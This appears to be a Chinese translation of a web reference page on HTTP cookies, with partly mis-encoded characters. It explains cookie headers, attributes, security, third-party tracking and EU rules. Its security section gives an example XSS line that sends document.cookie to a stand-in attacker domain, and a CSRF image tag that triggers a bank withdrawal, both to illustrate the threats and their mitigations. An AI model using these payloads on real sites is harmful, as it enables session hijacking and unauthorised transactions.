?
本文檔使用 php中文網(wǎng)手冊 發(fā)布
HTTP cookie(網(wǎng)絡(luò)cookie,瀏覽器cookie)是服務(wù)器發(fā)送給用戶網(wǎng)絡(luò)瀏覽器的一小部分?jǐn)?shù)據(jù)。瀏覽器可以存儲它,并將下一個(gè)請求發(fā)回給同一臺服務(wù)器。通常,它用于判斷兩個(gè)請求是否來自同一瀏覽器 - 例如,保持用戶登錄。它記住無狀態(tài)HTTP協(xié)議的有狀態(tài)信息。
Cookies主要用于三個(gè)目的:
會話管理登錄,購物車,游戲成績或服務(wù)器應(yīng)記住的任何其他內(nèi)容個(gè)性化用戶偏好,主題和其他設(shè)置跟蹤記錄和分析用戶行為
Cookies曾經(jīng)用于一般的客戶端存儲。雖然這是合法的,但它們是將數(shù)據(jù)存儲在客戶端的唯一方式,現(xiàn)在推薦使用現(xiàn)代存儲API。Cookies隨每個(gè)請求一起發(fā)送,因此可能會惡化性能(特別是對于移動(dòng)數(shù)據(jù)連接)。用于客戶端存儲的現(xiàn)代API是Web存儲API(localStorage
和sessionStorage
)和IndexedDB。
要查看存儲的Cookie(以及網(wǎng)頁可以使用的其他存儲),可以在Developer Tools中啟用Storage Inspector,然后從存儲樹中選擇Cookies。
當(dāng)收到一個(gè)HTTP請求時(shí),服務(wù)器可以發(fā)送一個(gè)Set-Cookie
包含響應(yīng)的頭部。Cookie通常由瀏覽器存儲,然后將Cookie發(fā)送到Cookie
HTTP標(biāo)頭內(nèi)的同一服務(wù)器??梢灾付ㄟ^期日期或持續(xù)時(shí)間,之后不再發(fā)送cookie。此外,可以設(shè)置對特定域和路徑的限制,限制cookie的發(fā)送位置。
Set-Cookie
與Cookie
頭所述Set-Cookie
HTTP響應(yīng)報(bào)頭從服務(wù)器向用戶代理發(fā)送的cookie。一個(gè)簡單的cookie就像這樣設(shè)置:
Set-Cookie: <cookie-name>=<cookie-value>
服務(wù)器的這個(gè)頭文件告訴客戶端存儲一個(gè)cookie。
注意:以下是Set-Cookie
在各種服務(wù)器端應(yīng)用程序中使用標(biāo)題的方法:
PHP
Node.JS
Python
Ruby on Rails
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry[page content]
現(xiàn)在,隨著對服務(wù)器的每個(gè)新請求,瀏覽器都會使用Cookie
標(biāo)題將所有先前存儲的cookie發(fā)送回服務(wù)器。
GET /sample_page.html HTTP/1.1Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
上面創(chuàng)建的cookie是一個(gè)會話cookie:它在客戶端關(guān)閉時(shí)被刪除,因?yàn)樗鼪]有指定Expires
or Max-Age
指令。但是,Web瀏覽器可能會使用會話恢復(fù),這會使大多數(shù)會話Cookie永久化,就好像瀏覽器從未關(guān)閉一樣。
當(dāng)客戶關(guān)閉時(shí),永久性Cookie不會在特定日期(Expires
)或特定時(shí)間長度后終止(Max-Age
)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注意:如果設(shè)置了到期日期,則設(shè)置的時(shí)間和日期與cookie的設(shè)置客戶端相關(guān),而不是服務(wù)器。
Secure
和HttpOnly
餅干安全Cookie只能通過HTTPS協(xié)議通過加密請求發(fā)送到服務(wù)器。即使在這種情況下Secure
,敏感信息也不應(yīng)該存儲在cookie中,因?yàn)樗鼈児逃械夭话踩⑶掖藰?biāo)志不能提供真正的保護(hù)。從Chrome 52和Firefox 52開始,不安全的站點(diǎn)(http:
)無法使用該Secure
指令設(shè)置Cookie 。
為了防止跨站點(diǎn)腳本攻擊(XSS)攻擊,HttpOnly
JavaScript的Document.cookie
API 無法訪問Cookie ; 他們只被發(fā)送到服務(wù)器。例如,持久化服務(wù)器端會話的cookie不需要對JavaScript可用,并且HttpOnly
應(yīng)該設(shè)置標(biāo)志。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
在Domain
與Path
指令定義的范圍的cookie:什么網(wǎng)址應(yīng)發(fā)送到cookie。
Domain
指定允許的主機(jī)接收cookie。如果沒有指定,則默認(rèn)為主機(jī)當(dāng)前文檔的位置,但不包括子域。如果Domain
被指定,那么子域總是被包括在內(nèi)。
例如,如果Domain=mozilla.org
設(shè)置了,則cookie就包含在子域名developer.mozilla.org
中。
Path
表示必須存在于所請求的URL中以便發(fā)送Cookie
標(biāo)頭的URL路徑。%x2F(“/”)字符被認(rèn)為是一個(gè)目錄分隔符,并且子目錄也會匹配。
例如,如果設(shè)置Path=/docs
,這些路徑將匹配:
/docs
/docs/Web/
/docs/Web/HTTP
SameSite
cookiesSameSite
Cookie允許服務(wù)器要求Cookie不應(yīng)該與跨站點(diǎn)請求一起發(fā)送,這有助于防止跨站請求偽造攻擊(CSRF)。SameSite
Cookie仍然是實(shí)驗(yàn)性的,并且尚未被所有瀏覽器支持。
Document.cookie
新的cookies也可以通過使用該Document.cookie
屬性的JavaScript創(chuàng)建,如果該HttpOnly
標(biāo)志沒有設(shè)置,現(xiàn)有的cookie也可以通過JavaScript訪問。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
請注意下面安全部分中的安全問題。JavaScript可用的cookie可以通過XSS被盜取。
機(jī)密或敏感信息絕不應(yīng)以HTTP Cookie存儲或傳輸,因?yàn)檎麄€(gè)機(jī)制固有不安全。
Cookie通常用于Web應(yīng)用程序中以識別用戶及其已驗(yàn)證的會話,因此竊取cookie可能會導(dǎo)致劫持經(jīng)過驗(yàn)證的用戶會話。竊取cookie的常見方式包括社交工程或利用應(yīng)用程序中的XSS漏洞。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
該HttpOnly
cookie的屬性可以幫助緩解防止通過JavaScript訪問cookie值這種攻擊。
Wikipedia提到CSRF的一個(gè)很好的例子。在這種情況下,某人包含的圖像不是真正的圖像(例如在未經(jīng)過濾的聊天或論壇中),而是確實(shí)要求您的銀行服務(wù)器進(jìn)行提款:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
現(xiàn)在,如果您登錄了您的銀行帳戶并且您的Cookie仍然有效(并且沒有其他驗(yàn)證),那么只要您加載包含此圖片的HTML,就會立即轉(zhuǎn)賬。有幾種技術(shù)可以用來防止這種情況的發(fā)生:
與XSS一樣,輸入過濾非常重要。
任何敏感行為都應(yīng)該始終有確認(rèn)。
用于敏感操作的Cookie只應(yīng)具有較短的使用期限。
有關(guān)更多預(yù)防提示,請參閱OWASP CSRF預(yù)防備忘單(https://www.owasp.org/index.php/Cross-Site Request_Forgery(CSRF%29_Prevention_Cheat_Sheet))。
Cookie有一個(gè)與他們相關(guān)的域名。如果此網(wǎng)域與您所在網(wǎng)頁的網(wǎng)域相同,則說這些Cookie為第一方Cookie。如果域名不同,則說它是第三方cookie。盡管第一方cookie僅發(fā)送給設(shè)置它們的服務(wù)器,但網(wǎng)頁可能包含存儲在其他域(如廣告條)中的服務(wù)器上的圖像或其他組件。通過這些第三方組件發(fā)送的Cookie稱為第三方Cookie,主要用于在整個(gè)網(wǎng)絡(luò)上進(jìn)行廣告和跟蹤。請參閱Google使用的Cookie類型。大多數(shù)瀏覽器默認(rèn)允許使用第三方cookie,但有附加組件可用于阻止它們(例如,Privacy Badger byEFF)。
如果您不透露第三方cookies,如果發(fā)現(xiàn)cookie使用,消費(fèi)者信任可能會受到傷害。明確的披露(例如在隱私政策中)傾向于消除cookie發(fā)現(xiàn)的任何負(fù)面影響。有些國家也有關(guān)于cookies的立法。
它的使用沒有任何法律或技術(shù)要求,但DNT
標(biāo)題可用于表示W(wǎng)eb應(yīng)用程序應(yīng)禁用其跟蹤或跨站點(diǎn)用戶跟蹤個(gè)人用戶。請參閱DNT
標(biāo)題以獲取更多信息。
歐盟對cookies的要求在歐盟議會指令2009/136 / EC中定義,并于2011年5月25日生效。指令本身不是法律,而是要求歐盟成員國制定法律符合指令的要求。實(shí)際的法律可能因國家而異。
簡而言之,歐盟指令意味著在有人可以存儲或檢索來自計(jì)算機(jī),移動(dòng)電話或其他設(shè)備的任何信息之前,用戶必須給予知情同意才能這樣做。許多網(wǎng)站自此添加了橫幅,以通知用戶有關(guān)Cookie的使用。
更為激進(jìn)的方法是 zombie cookies 或“Evercookies”,它們在刪除后重新創(chuàng)建,故意難以永久刪除。他們使用Web存儲API,F(xiàn)lash本地共享對象和其他技術(shù)在檢測到cookie不存在時(shí)重新創(chuàng)建自己。
Set-Cookie
Cookie